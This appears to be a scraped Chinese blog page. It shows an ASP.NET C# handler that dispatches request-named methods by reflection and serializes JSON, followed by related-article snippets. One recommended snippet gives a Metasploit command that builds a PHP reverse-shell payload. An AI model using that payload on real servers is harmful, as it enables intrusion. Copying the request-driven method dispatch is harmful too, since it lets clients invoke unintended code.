using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Services;
using Newtonsoft.Json;
using Newtonsoft.Json.Serialization;
using System.IO;
using System.Text;
namespace table
{
    /// <summary>
    /// $codebehindclassname$ 的摘要说明
    /// </summary>
    // [WebService(Namespace = "http://tempuri.org/")]
    [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
    public class Ttable : IHttpHandler
    {

public void ProcessRequest(HttpContext context)
        {
            context.Response.ContentType = "text/plain";
            //context.Response.Write("Hello World");
            //反射的机制:只需要传方法进来就可以执行方法、获得数据。。
            if (context.Request["ajaxMethod"] != null)
            {
                string getMethod = context.Request["ajaxMethod"];
                var method = this.GetType().GetMethod(getMethod);
                if (method != null)
                {
                    method.Invoke(this, new object[] { context });
                }
            }

}
        /// <summary>
        /// 序列化的Json字符串
        /// </summary>
        public void getInitData(HttpContext context)
        {

List<SupplierEty> list = new List<SupplierEty>();
            SupplierEty enty1 = new SupplierEty
            {
                SupplierID = 1111,
                ContractName = "test",
                ContractTitle = "test"
            };
            SupplierEty enty2 = new SupplierEty
            {
                SupplierID = 2222,
                ContractName = "test2",
                ContractTitle = "test2"
            };
            SupplierEty enty3 = new SupplierEty
            {
                SupplierID = 3333,
                ContractName = "test3",
                ContractTitle = "test3"
            };
            list.Add(enty1);
            list.Add(enty2);
            list.Add(enty3);
            string strJson = JsonHelper.GetJson<List<SupplierEty>>(list);
            context.Response.Write(strJson);
        }

public void saveData(HttpContext context)
        {
            List<Cety> listety = null;
            string jsonText = context.Request["data"];
            System.Runtime.Serialization.Json.DataContractJsonSerializer serializer =new System.Runtime.Serialization.Json.DataContractJsonSerializer(typeof(List<Cety>));

try
            {
                using (MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(jsonText)))
                {

listety = (List<Cety>)serializer.ReadObject(ms);
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }

}
        public class Cety {
            public string SupplierID;
            public string ContractName;
            public string ContractTitle;
        
        }
        public bool IsReusable
        {
            get
            {
                return false;
            }
        }
    }
}

将json字符串转换成list<T>的更多相关文章

  1. C#中服务端接受前端JSON字符串转换成字典集合

    我们是否可以把从前端接受的JSON字符串转换成字典集合呢? 比如从前端接收:{'size':'10', 'weight':'10kg'} 在服务端转换成:[{size:"10"}, ...

  2. json 字符串转换成对象,对象转换成json字符串

    json   字符串转换成对象,对象转换成json字符串 前端: 方法一: parseJSON方法:   [注意jquery版本问题] var str = '{"name":&qu ...

  3. json字符串转换成json对象,json对象转换成字符串,值转换成字符串,字符串转成值

    一.json相关概念 json,全称为javascript object notation,是一种轻量级的数据交互格式.采用完全独立于语言的文本格式,是一种理想的数据交换格式. 同时,json是jav ...

  4. 使用jackson来进行数组格式的json字符串转换成List。

    有一个字符串如下.如下,也是通过jackson把list转换成的json字符串,我想把它转过来,看网上的内容都不尽人如意,都是片断的内容.估计只有写的知道怎么使用,所以就直接看了jackson的官网, ...

  5. 特殊字符导致json字符串转换成json对象出错

    在对数据库取出来的数据(特别是描述信息)里面含有特殊字符的话,使用JSON.parse将json字符串转换成json对象的时候会出错,主要是双引号,回车换行等影响明显,左尖括号和右尖括号也会导致显示问 ...

  6. JSON字符串转换成对象时候 需要有默认构造器 因为这是通过反射创建的 反射是先通过默认构造器创建对象的

    JSON字符串转换成对象时候 需要有默认构造器 因为这是通过反射创建的 反射是先通过默认构造器创建对象的

  7. 转换成json字符串,与json字符串转换成java类型都要先转换成json对象

    转换成json字符串,与json字符串转换成java类型都要先转换成json对象

  8. java 字符串转json,json转实体对象、json字符串转换成List、List转String、以及List排序等等...

    @RequestMapping(value = "updateInvestorApplyAccountNo", method = RequestMethod.POST) @Resp ...

  9. JavaScript:将key和value不带双引号的JSON字符串转换成JSON对象的方法

    遇到相关的问题,花了两天的时间来解决,深感来之不易,所以做如下的总结,希望遇到此问题的码农能更快的找到解决办法! var jsonArr= [{col:TO_CHAR(HZRQ,'YYYYMM'),t ...

  10. c++ json字符串转换成map管理

    在cocos2dx for lua中,我们经常通过lua的table传入c++使用,然后早c++层操作数据. 实现步骤大致如下: table->string->c++层->通过rap ...

随机推荐

  1. msf web脚本反弹shell

    msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php msf > use multi/handle ...

  2. Java21个基础知识点

    类装载器就是寻找类的字节码文件,并构造出类在JVM内部表示的对象组件.在Java中,类装载器把一个类装入JVM中,要经过以下步骤: (1) 装载:查找和导入Class文件: (2) 链接:把类的二进制 ...

  3. python科学计算整理

    网站: http://bokeh.pydata.org/gallery.html

  4. python基础===【字符串】所有相关操作

    #字符串的相关操作 #基本操作 #+ 字符串连接操作 str1 = '来是come走是go' str2 = '点头yes摇头no' result = str1 + str2 print(result) ...

  5. tiny-rtems-src

    https://github.com/RTEMS/rtems-libbsd https://github.com/freebsd/freebsd/tree/642b174daddbd0efd9bb5f ...

  6. 初识ES6

    1.ECMAScript的官网地址:http://www.ecma-international.org/cma-262/6.0/,其是JS语言的下一代标准,已经在2015年6月正式发布,目标是让JS可 ...

  7. MAC 'readonly' option is set (add ! to override)错误解决

    该错误为当前用户没有权限对文件作修改 输入 :w !sudo tee %

  8. POJ 1733 Parity game(带权并查集)

    题目链接:http://poj.org/problem?id=1733 题目大意:给你m条信息,每条信息告诉你区间l~r的1的个数是奇数还是偶数,如果后面出现信息跟前面矛盾则这条信息是错误的,问在第一 ...

  9. hihocoder 1135 : Magic Box

    #1135 : Magic Box 时间限制:10000ms 单点时限:1000ms 内存限制:256MB 描述 The circus clown Sunny has a magic box. Whe ...

  10. linux下输入密码不回显

    这几天在做一个登陆的程序,需要将输入的密码屏蔽掉,自己百度,找到了两种方法,先贴下第一种方法, #include<stdio.h> #include<unistd.h> int ...